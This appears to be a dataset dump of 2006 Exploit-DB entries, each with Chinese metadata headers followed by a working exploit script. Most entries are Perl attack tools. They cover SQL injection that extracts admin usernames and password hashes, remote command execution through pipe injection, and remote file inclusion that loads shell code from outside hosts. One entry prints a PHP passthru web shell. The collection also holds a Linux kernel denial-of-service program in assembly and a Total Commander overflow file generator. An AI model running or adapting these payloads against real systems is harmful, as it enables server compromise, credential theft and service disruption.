QLWD/code_shield huggingface dataset:
标题: Clansys 1.1 - 'index.php' PHP Code Insertion EDB-ID: 1710 CVE: 2006-2005 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-23 漏洞利用脚本: NukedX Security Advisory Nr 2006-29
ClanSys v1.1 (index.php page) PHP Code Insertion Vulnerability
Method found & Exploit scripted by nukedx
Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
Original advisory: http://www.nukedx.com/?viewdoc=29
Dork: "ClanSys v.1.1" 2.400 pages.
Full PoC ->
GET -> http://[victim]/[ClanSysPath]/index.php?page=[PHPCode]
EXAMPLE -> http://[victim]/[ClanSysPath]/index.php?page=<?include($s);?>&s=http://yourhost.com/cmd.txt?

# nukedx.com [2006-04-23]

# milw0rm.com [2006-04-23] URL: https://www.exploit-db.com/exploits/1710
标题: OpenTTD 0.4.7 - Multiple Vulnerabilities EDB-ID: 1709 CVE: 2006-1999 2006-1998 类型: DOS 平台: MULTIPLE 发布日期: 2006-04-23 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  OpenTTD
              http://www.openttd.org
Versions:     <= 0.4.7
Platforms:    Windows, *nix, *BSD, Mac and others
Bugs:         A] program termination through big error number
              B] broadcast clients disconnection in multiplayer menu
Exploitation: A] remote, versus server and client (in-game)
              B] remote, versus clients (broadcast)
Date:         23 Apr 2006
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    http://aluigi.altervista.org


#######################################################################

Backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1709.zip (04232006-openttdx.zip) URL: https://www.exploit-db.com/exploits/1709
标题: My Gaming Ladder Combo System 7.0 - Remote Code Execution EDB-ID: 1707 CVE: 2006-2002 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-22 漏洞利用脚本: #!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=28
#Usage: ladder.pl <host> <path> <cmd>
#Dork: "Ladder Scripts by http://www.mygamingladder.com" 40.500 pages.
use IO::Socket;
if(@ARGV < 3) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-28\r\n";
  print "- My Gaming Ladder Combo System <= 7.0 Remote Command Execution Exploit\r\n";
}
sub main::urlEncode {
  my ($string) = @_;
  $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
  #$string# =~ tr/.//;
  return $string;
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path> <cmd>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to My Gaming Ladder ex: /ladder/\r\n";
  print "- <cmd>  -> Command to execute ex: ls -la\r\n";
  print "- This exploit needs allow_url_fopen set to 1 and register_globals on\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $echoing  = "";
  $ldserver = $ARGV[0];
  $ldserver =~ s/(http:\/\/)//eg;
  $ldhost   = "http://".$ldserver;
  $lddir    = $ARGV[1];
  $ldport   = "80";
  $ldtar    = "stats.php?dir[func]=&dir[base]=http://www.misssera.com.tr/old/rce.txt%3F&command=";
  $ldcmd    = ""; for ($i=2; $i<=$#ARGV; $i++) {$ldcmd.="%20".urlEncode($ARGV[$i]);};
  $ldreq    = $ldhost.$lddir.$ldtar.$ldcmd;
  #Sending data...
  header();
  print "- Trying to connect: $ldserver\r\n";
  $ld = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$ldserver", PeerPort => "$ldport") || die "- Connection failed...\n";
  print $ld "GET $ldreq HTTP/1.1\n";
  print $ld "Accept: */*\n";
  print $ld "Referer: $ldhost\n";
  print $ld "Accept-Language: tr\n";
  print $ld "User-Agent: NukeZilla\n";
  print $ld "Cache-Control: no-cache\n";
  print $ld "Host: $ldserver\n";
  print $ld "Connection: close\n\n";
  print "- Connected...\r\n";
  $echoing = "No";
  while ($answer = <$ld>) {
    if ($answer =~ /NukedX here/) { $echoing = "Yes"; }
    if ($answer =~ /NukedX was here/) { print "- End of results\n"; exit(); }
    if ($echoing =~ /Yes/) { 
      if ($answer =~ /NukedX here/) { print "- Command executed succesfully here is results\r\n"; }
      else { print "$answer"; }
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# milw0rm.com [2006-04-22] URL: https://www.exploit-db.com/exploits/1707
标题: dForum 1.5 - 'DFORUM_PATH' Multiple Remote File Inclusions EDB-ID: 1706 CVE: 2006-1994 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-21 漏洞利用脚本: dForum <= 1.5 (DFORUM_PATH) Multiple Remote File Inclusion Vulnerabilities.
Method found by nukedx,
Contacts > ICQ: 10072 MSN/Mail: nukedx@nukedx.com web: www.nukedx.com
This exploit works on dForum <= 1.5
http://[victim]/[dForumPath]/[filename]?DFORUM_PATH=http://yourhost.com/cmd.txt?
Files ->
about.php
admin.php
anmelden.php
closethread.php
config.php
delpost.php
delthread.php
dfcode.php
download.php
editanoc.php
forum.php
login.php
makethread.php
menu.php
newthread.php
openthread.php
overview.php
post.php
suchen.php
user.php
userconfig.php
userinfo.php
verwalten.php
Original advisory: http://www.nukedx.com/?viewdoc=27
# nukedx.com [2006-04-21]

# milw0rm.com [2006-04-21] URL: https://www.exploit-db.com/exploits/1706
标题: Simplog 0.9.3 - 'tid' SQL Injection EDB-ID: 1705 CVE: 2006-2029 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-21 漏洞利用脚本: #!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=25
#Usage: simplog.pl <host> <path>
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-25\r\n";
  print "- Simplog <= 0.93 Remote SQL Injection Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to Simplog ex: /simplog/\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $spserver = $ARGV[0];
  $spserver =~ s/(http:\/\/)//eg;
  $sphost   = "http://".$spserver;
  $spdir    = $ARGV[1];
  $spport   = "80";
  $sptar    = "preview.php?adm=tem&blogid=1&tid=";
  $spxp     = "-1/**/UNION/**/SELECT/**/concat(25552,login,25553,password,25554)/**/from/**/blog_users/**/where/**/admin=1/*";
  $spreq    = $sphost.$spdir.$sptar.$spxp;
  #Sending data...
  header();
  print "- Trying to connect: $spserver\r\n";
  $sp = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$spserver", PeerPort => "$spport") || die "- Connection failed...\n";
  print $sp "GET $spreq HTTP/1.1\n";
  print $sp "Accept: */*\n";
  print $sp "Referer: $sphost\n";
  print $sp "Accept-Language: tr\n";
  print $sp "User-Agent: NukeZilla\n";
  print $sp "Cache-Control: no-cache\n";
  print $sp "Host: $spserver\n";
  print $sp "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$sp>) {
    if ($answer =~ /25552(.*?)25553([\d,a-f]{32})25554/) {
      print "- Exploit succeed!\r\n";
      print "- Username: $1\r\n";
      print "- MD5 HASH of PASSWORD: $2\r\n";
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# nukedx.com [2006-04-21]

# milw0rm.com [2006-04-21] URL: https://www.exploit-db.com/exploits/1705
标题: PHP Net Tools 2.7.1 - Remote Code Execution EDB-ID: 1695 CVE: 2006-1921 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-18 漏洞利用脚本: #!/usr/bin/perl
# PHP Net Tools Remote Code Execution Exploit
#
# by FOX_MULDER (fox_mulder@abv.bg)
# Vulnerability found by FOX_MULDER.
#
# "Born to be root !!!"
#----------------------------------+
#PHP Net Tools                     |
#Copyright (C) 2005 Eric Robertson |
#h4rdc0d3@gmail.com                |
#----------------------------------+
#
# Fact:Wbyte counted twice to infinity !!!
#
#
###################################################
 use LWP 5.64;

 my $hostname = $ARGV[0];
 my $dir = $ARGV[1];
 my $command = $ARGV[2];

        if (@ARGV<2) {
 print "\nUsage: ntools.pl www.site.com /dir/ \"ls \-la\" \n";
 exit();
 }
 
 print "=======================================================\n";
 print "0day 0day 0day 0day 0day 0day 0day 0day 0day 0day 0day\n";
 print "PHP Net Tools Command Execution Exploit by FOX_MULDER\n";
 print "fox_mulder@abv.bg\r\n";
 print "=======================================================\n";

 my $browser = LWP::UserAgent->new;
 $browser->agent('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)');
 print "\n\n[+]Sending request to server . . .\r\n";
 
 my $url = "http://$hostname$dir/nettools.php";

 
 my $response = $browser->post( $url,[
  'ping' => '1',
         'host' => "|$command"]);

  my $code = $response->status_line;
        print "[+] HTTP RESPONSE $code\n";
        print "\n[+]Injecting command . . .\n";
 $response->content =~ /blockquote>(.*)<\/blockquote>/s;
 print "$1\n";

# milw0rm.com [2006-04-18] URL: https://www.exploit-db.com/exploits/1695
标题: Skulltag 0.96f - Version String Remote Format String (PoC) EDB-ID: 1708 CVE: 2006-2012 类型: DOS 平台: WINDOWS 发布日期: 2006-04-23 漏洞利用脚本: #######################################################################

                             Luigi Auriemma

Application:  Skulltag
              http://www.skulltag.com
Versions:     <= 0.96f
Platforms:    Windows
Bug:          format string
Exploitation: remote, versus server
Date:         23 Apr 2006
Author:       Luigi Auriemma
              e-mail: aluigi@autistici.org
              web:    http://aluigi.altervista.org


#######################################################################

Backup: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/1708.zip (04232006-skulltagfs.zip)

# milw0rm.com [2006-04-23] URL: https://www.exploit-db.com/exploits/1708
标题: CoreNews 2.0.1 - 'userid' SQL Injection EDB-ID: 1704 CVE: 2006-2032 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-21 漏洞利用脚本: #!/usr/bin/perl
#Method found & Exploit scripted by nukedx
#Contacts > ICQ: 10072 MSN/Main: nukedx@nukedx.com web: www.nukedx.com
#Original advisory: http://www.nukedx.com/?viewdoc=24
#Usage: corenews.pl <host> <path>
use IO::Socket;
if(@ARGV != 2) { usage(); }
else { exploit(); }
sub header()
{
  print "\n- NukedX Security Advisory Nr.2006-24\r\n";
  print "- CoreNews <= 2.0.1 Remote SQL Injection Exploit\r\n";
}
sub usage() 
{
  header();
  print "- Usage: $0 <host> <path>\r\n";
  print "- <host> -> Victim's host ex: www.victim.com\r\n";
  print "- <path> -> Path to CoreNews ex: /corenews/\r\n";
  exit();
}
sub exploit () 
{
  #Our variables...
  $cnserver = $ARGV[0];
  $cnserver =~ s/(http:\/\/)//eg;
  $cnhost   = "http://".$cnserver;
  $cndir    = $ARGV[1];
  $cnport   = "80";
  $cntar    = "preview.php?userid=";
  $cnxp     = "-1/**/UNION/**/SELECT/**/null,concat(2022,login,20223,password,2203),null,null,null,null/**/FROM/**/corenews_users/*";
  $cnreq    = $cnhost.$cndir.$cntar.$cnxp;
  #Sending data...
  header();
  print "- Trying to connect: $cnserver\r\n";
  $cn = IO::Socket::INET->new(Proto => "tcp", PeerAddr => "$cnserver", PeerPort => "$cnport") || die "- Connection failed...\n";
  print $cn "GET $cnreq HTTP/1.1\n";
  print $cn "Accept: */*\n";
  print $cn "Referer: $cnhost\n";
  print $cn "Accept-Language: tr\n";
  print $cn "User-Agent: NukeZilla\n";
  print $cn "Cache-Control: no-cache\n";
  print $cn "Host: $cnserver\n";
  print $cn "Connection: close\n\n";
  print "- Connected...\r\n";
  while ($answer = <$cn>) {
    if ($answer =~ /2022(.*?)20223([\d,a-f]{32})2203/) {
      print "- Exploit succeed!\r\n";
      print "- Username: $1\r\n";
      print "- MD5 HASH of PASSWORD: $2\r\n";
      print "- If you crack hash you can use RFI with example ->\r\n";
      print "- Example: $cnhost$cndir?show=http://yourhost.com/file.txt\r\n"; 
      exit();
    }
  }
  #Exploit failed...
  print "- Exploit failed\n"
}

# nukedx.com [2006-04-21]

# milw0rm.com [2006-04-21] URL: https://www.exploit-db.com/exploits/1704
标题: Internet PhotoShow 1.3 - 'page' Remote File Inclusion EDB-ID: 1694 CVE: 2006-1919 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-18 漏洞利用脚本: #!/usr/bin/perl
#
# Exploit by Hessam-x (www.hessamx.net)
# sub usage()
# {
 #print " Usage: perl hx.pl [host] [cmd shell] [cmd shell variable]\r\n\n";
 #print " example : perl hx.pl www.milw0rm.com milw0rm.com/hx.txt cmd";
 #exit();
 #}
######################################################
#  ___ ___                __                         #
# /   |   \_____    ____ |  | __ ___________________ #
#/    ~    \__  \ _/ ___\|  |/ // __ \_  __ \___   / #
#\    Y    // __ \\  \___|    <\  ___/|  | \//    /  #
# \___|_  /(____  )\___  >__|_ \\___  >__|  /_____ \ #
#       \/      \/     \/     \/    \/            \/ #
#             Iran Hackerz Security Team             #
#               WebSite: www.hackerz.ir              #
#                 DeltaHAcking Team                  #
#           website: www.deltahacking.com            #
######################################################
#  Internet PhotoShow Remote File Inclusion Exploit  #
######################################################
# upload a shell with this xpl:
# wget http://shell location/
use LWP::UserAgent;
print "-------------------------------------------\n";
print "=             Internet PhotoShow          =\n";
print "=       By Hessam-x  - www.hackerz.ir     =\n";
print "-------------------------------------------\n\n";


$bPath = $ARGV[0];
$cmdo = $ARGV[1];
$bcmd = $ARGV[2];

if($bPath!~/http:\/\// || $cmdo!~/http:\/\// || !$bcmd){usage()}



while()
{
       print "Hessam-x@PhotoShow \$";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$bpath.'index.php?page='.$cmdo.'?&'.$bcmd.'='.$cmd)or die "\n[-] Could not connect !\n";

$res = $xpl->request($req);

$return = $res->content;
$return =~ tr/[\n]/[ê]/;

if (!$cmd) {print "\n[!] Please type a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/)
       {print "\n[-] Could Not Connect to cmd Host\n";exit}
elsif ($return =~/^<b>Fatal.error/) {print "\n[-] Invalid Command\n"}

if($return =~ /(.*)/)


{
       $freturn = $1;
       $freturn=~ tr/[ê]/[\n]/;
       print "\r\n$freturn\n\r";
       last;
}

else {print "Hessam-x@PhotoShow \$";}}}last;


sub usage()
 {
print "[!] Usage : hx.pl [host] [cmd shell location] [cmd shell variable]\n";
print " - E.g : hx.pl http://www.milw0rm.com http://www.milw0rm.com/shell.txt cmd\n";
 exit();
 }

# milw0rm.com [2006-04-18] URL: https://www.exploit-db.com/exploits/1694
标题: FlexBB 0.5.5 - '/inc/start.php?_COOKIE' SQL Bypass EDB-ID: 1686 CVE: 2006-1978 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-17 漏洞利用脚本: #!/usr/bin/perl -w

# FlexBB <= 0.5.5 (/inc/start.php _COOKIE) Remote SQL ByPass Exploit , Perl C0d3
#
# Milw0rm ID :-
#                        http://www.milw0rm.com/auth.php?id=1539
# D3vil-0x1 | Devil-00 < BlackHat > :)
#
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
# DONT FORGET TO DO YOUR CONFIG !!
use IO::Socket;

##-- Start --#

$host         = "127.0.0.1";
$path         = "/flexbb/";

##-- _END_ --##
#        $host                :-
#                                The Host Name Without http:// | exm. www.vic.com
#
#        $path                :-
#                                FlexBB Dir On Server | exm. /flexbb/

$sock = IO::Socket::INET->new (
                                                                                PeerAddr => "$host",
                                                                                PeerPort        => "80",
                                                                                Proto                => "tcp"
                                                                                ) or die("[!] Connect To Server Was Filed");
##-- DONT TRY TO EDIT ME --##
$evilcookie = "flexbb_username='UNION SELECT id,username,password,4,usertype,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 FROM flexbb_users WHERE id=1/*;";
##-- DONT TRY TO EDIT ME --##
$evildata  = "GET ".$path."index.php?action=buddypopup HTTP/1.1\n";
$evildata .= "Host: $host \n";
$evildata .= "Accept: */* \n";
$evildata .= "Keep-Alive: 300\n";
$evildata .= "Connection: keep-alive \n";
$evildata .= "Cookie: ".$evilcookie."\n\n";

print $sock $evildata;

while($ans = <$sock>){
#<a href="./admin/index.php">
        if($ans =~ m/<a href=\".\/admin\/index.php">(.*?)<\/a>/){
            print "\n[+] Bypass [ OKAY ] Edit your cookies  :-\n\n";
            print "\tflexbb_username='UNION SELECT id,username,password,4,usertype,6,7,8,9,0,1,2,3,4,5,6,7,8,9,0,1,2,3,4,5,6,7,8,9 FROM flexbb_users WHERE id=1/*;\n\n";
            exit;
        }
}

# milw0rm.com [2006-04-17] URL: https://www.exploit-db.com/exploits/1686
标题: Censtore 7.3.x - 'censtore.cgi' Remote Command Execution EDB-ID: 1669 CVE: 2006-1799 类型: WEBAPPS 平台: CGI 发布日期: 2006-04-13 漏洞利用脚本: #!/usr/bin/perl
#
#  Censtore.cgi exploit by FOX_MULDER (fox_mulder@abv.bg)
#
#  Vulnerability foud by FOX_MULDER.
#
#  This is the first exploit i release and the bug is not public so enjoy.
#  Ask http://censtore.com/ what they think about it !!!  
#
###########################

use IO::Socket;
use LWP::Simple; 

sub Usage {
print STDERR "\nFOX_MULDER DID IT AGAIN !!!\n";
print STDERR "Usage:\ncenex.pl <www.example.com> </path/> \"cmd\"\n";
exit;
}

if (@ARGV < 3)
{
 Usage();
}


$host = @ARGV[0];
$path = @ARGV[1];
$command = @ARGV[2];
print "\n\n !!! ULTRA PRIVATE EDITION !!! \n\n";
print "censtore.cgi Remote Command Execution Exploit by FOX_MULDER\n";

print "\n[+] Conecting to $host\n";

my $result = get("http://$host$path/censtore.cgi?page=|$command|"); 

if (defined $result) { 
print $result; 
} 
else { 
print "Error with request.\n"; 
}

# milw0rm.com [2006-04-13] URL: https://www.exploit-db.com/exploits/1669
标题: Sphider 1.3 - 'configset.php' Remote File Inclusion EDB-ID: 1665 CVE: 2006-1784 类型: WEBAPPS 平台: PHP 发布日期: 2006-04-12 漏洞利用脚本: #!/usr/bin/perl
use IO::Socket;

print "\r\nSphider <= 1.3 arbitrary remote inclusion\r\n" ;
print "-> works with register_globals = On & allow_url_fopen = On\r\n";
print "by rgod rgod<AT>autistici<DOT>org\r\n";
print "site: http://retrogod.altervista.org\r\n";
print "\r\ndork: \"powered by sphider\"\r\n";

sub main::urlEncode {
    my ($string) = @_;
    $string =~ s/(\W)/"%" . unpack("H2", $1)/ge;
    #$string# =~ tr/.//;
    return $string;
 }

$serv=$ARGV[0];
$path=$ARGV[1];
$loc=urlEncode($ARGV[2]);
$cmd=""; for ($i=3; $i<=$#ARGV; $i++) {$cmd.="%20".urlEncode($ARGV[$i]);};

if (@ARGV < 4)
{
print "\r\nUsage:\r\n";
print "perl sphider_xpl.pl server path location command\r\n\r\n";
print "server         - Server where sphider is installed.\r\n";
print "path           - Path to sphider (ex: /sphider/ or just /) \r\n";
print "location       - a site with the code to include (without ending slash)\r\n";
print "command        - a Unix command\r\n\r\n";
print "Example:\r\n";
print "perl sphider_xpl.pl localhost /sphider/ http://192.168.1.3 ls -la\r\n\r\n";
print "note: on http location you need this code in /conf.php/index.html :\r\n\r\n";
print "<?php\r\n";
print "ob_clean();\r\n";
print "if (get_magic_quotes_gpc())\r\n";
print "{\$_GET[\"cmd\"]=stripslashes(\$_GET[\"cmd\"]);}\r\n";
print "ini_set(\"max_execution_time\",0);\r\n";
print "echo 56789;\r\n";
print "passthru(\$_GET[\"cmd\"]);\r\n";
print "die;\r\n";
print "?>\r\n";
exit();
}
  $sock = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$serv", Timeout  => 10, PeerPort=>"http(80)")
  or die "[+] Connecting ... Could not connect to host.\n\n";
  print $sock "GET ".$path."admin/configset.php?cmd=".$cmd."&settings_dir=".$loc." HTTP/1.0\r\n";
  print $sock "Host: ".$serv."\r\n";
  print $sock "Connection: Close\r\n\r\n";
  $out="";
  while ($answer = <$sock>) {
    $out.=$answer;
  }
  close($sock);
  @temp= split /56789/,$out,2;
  if ($#temp>0) {print "\r\nExploit succeeded...\r\n".$temp[1];exit();}
  #if you are here...
  print "\r\nExploit failed...\r\n";

# milw0rm.com [2006-04-12] URL: https://www.exploit-db.com/exploits/1665
标题: Linux Kernel 2.6.x - 'sys_timer_create()' Local Denial of Service EDB-ID: 1657 CVE: 2006-7051 类型: DOS 平台: LINUX 发布日期: 2006-04-09 漏洞利用脚本: ;nasm -f elf noHeaven.asm
;ld -s -o noHeaven noHeaven.o

section .text
   global _start

count   equ     8       ; threads count - do it quicker

_start:
       mov     ebx, count
       call    create_threads
       jmp     done
_pause:
       mov     eax,29
       int     0x80
       ret
create_threads:
       mov     eax,2
       int     0x80
       test    eax,eax
       jz      consume
       dec     ebx
       test    ebx,ebx
       jnz     create_threads
       ret
consume:
setsid:         ;       so we won't get counted as one thread in oom_killer()
       xor     ebx,ebx ;       each task will have about 20 oom_score which
       mov     eax,66 ;        is less than 'init' and others
       int     0x80
       push    eax
loopek:
       mov     eax,259
       mov     ebx,0
       mov     ecx,0
       mov     edx,esp
       int     0x80
       jmp     loopek
done:
       xor     ebx,ebx
       mov     eax,1
       int     0x80

; milw0rm.com [2006-04-09] URL: https://www.exploit-db.com/exploits/1657
标题: Total Commander 6.x - 'unacev2.dll' Buffer Overflow (PoC) EDB-ID: 1633 CVE: 2005-2856 类型: DOS 平台: WINDOWS 发布日期: 2006-04-02 漏洞利用脚本: /*
--
/\
\/ Total Commander unacev2.dll Buffer Overflow PoC Exploit
/\   by Darkeagle of Unl0ck Research Team
\/     http://unl0ck.net
/\ 
\/ when file will be created, try to open archive in TotalCmd and then unpack it ;)
/\
\/
--
*/
#include <string.h>
#include <stdio.h>

unsigned char evil_ace[] = 
 "\x29\x8F\x31\x00\x00\x00\x90\x2A\x2A\x41\x43\x45\x2A\x2A\x14\x14" 
 "\x02\x00\x79\xB5\x7F\x34\xFE\xE2\x05\xA5\x00\x00\x00\x00\x16\x2A" 
 "\x55\x4E\x52\x45\x47\x49\x53\x54\x45\x52\x45\x44\x20\x56\x45\x52" 
 "\x53\x49\x4F\x4E\x2A\x7F\x30\x1E\x01\x01\x01\x00\x00\x00\x00\x00" 
 "\x00\x00\x00\x00\x75\xB5\x7F\x34\x20\x00\x00\x00\xFF\xFF\xFF\xFF" 
 "\x00\x03\x0A\x00\x54\x45\xFF\x00\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61\x61" 
 "\x61\x61\x61\x2E\x74\x78\x74";


int main()
{
 FILE *ace;
 ace = fopen("evil.ace", "w+b");
 fwrite(evil_ace, 1, sizeof(evil_ace)-1, ace);
 fclose(ace);
 return 0;

}

// milw0rm.com [2006-04-02] URL: https://www.exploit-db.com/exploits/1633